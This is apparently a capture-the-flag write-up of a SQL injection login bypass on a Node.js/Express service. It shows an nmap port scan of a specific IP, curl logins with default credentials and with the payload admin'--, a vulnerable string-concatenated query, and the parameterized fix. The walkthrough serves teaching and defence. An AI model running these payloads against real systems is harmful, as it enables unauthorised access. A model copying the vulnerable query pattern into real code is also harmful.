Auth Bypass via SQL Injection
A classic SQL injection authentication bypass on an enterprise login portal running Node.js/Express on a non-standard port discovered via Nmap scanning.
Methodology
Port Discovery
Main page on port 80 was just a static challenge page. Ran full port scan to find the real service.
Service Enumeration
Discovered port 8080 running Node.js/Express โ the actual authentication system.
Login Form Analysis
Port 8080 revealed an enterprise login form POSTing to /login endpoint.
SQL Injection
Tested the username field with classic payloads โ authentication bypassed successfully.
Reconnaissance
The challenge page only showed a static landing page on port 80 with no useful attack surface. The hint said to "find the authentication service located on this network" โ this meant port scanning was required.
nmap -sV -p- --min-rate 5000 63.32.98.247
PORT STATE SERVICE VERSION 80/tcp open http nginx 1.26.3 8080/tcp open http Node.js (Express middleware)
Port 8080 was the target โ a Node.js/Express application running the authentication service.
Enumeration
Visiting http://63.32.98.247:8080/ revealed a standard enterprise login form with username and
password fields, submitting credentials via POST to /login.
First I tested default credentials:
curl -X POST http://63.32.98.247:8080/login \
-d "username=admin&password=admin"
Default credentials did not work. Moving on to SQL injection testing.
Exploitation
The login form was a prime candidate for SQL injection. The classic payload to bypass authentication is:
-- Normal query the app runs: SELECT * FROM users WHERE username='INPUT' AND password='INPUT' -- With payload admin'-- the query becomes: SELECT * FROM users WHERE username='admin'--' AND password='...' -- Everything after -- is a comment, password check is ignored!
curl -X POST http://63.32.98.247:8080/login \
-d "username=admin'--&password=anything"
Vulnerability Analysis
The application directly concatenated user-supplied input into SQL queries without sanitization or parameterization. This is one of the most well-known and dangerous vulnerabilities in web security.
Vulnerable Code Pattern
// โ VULNERABLE โ string concatenation const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
Secure Code Pattern
// โ SECURE โ parameterized query const query = 'SELECT * FROM users WHERE username=? AND password=?'; db.execute(query, [username, password]);
Key Learnings
Port Scanning First
Always scan all ports โ services often run on non-standard ports like 8080, 8443, 3000.
Test Input Fields
Every login form should be tested for SQL injection before trying other techniques.
Use Parameterized Queries
Prepared statements completely prevent SQL injection regardless of input.
Understand the SQL Logic
Understanding how the query breaks helps craft better payloads and explain fixes.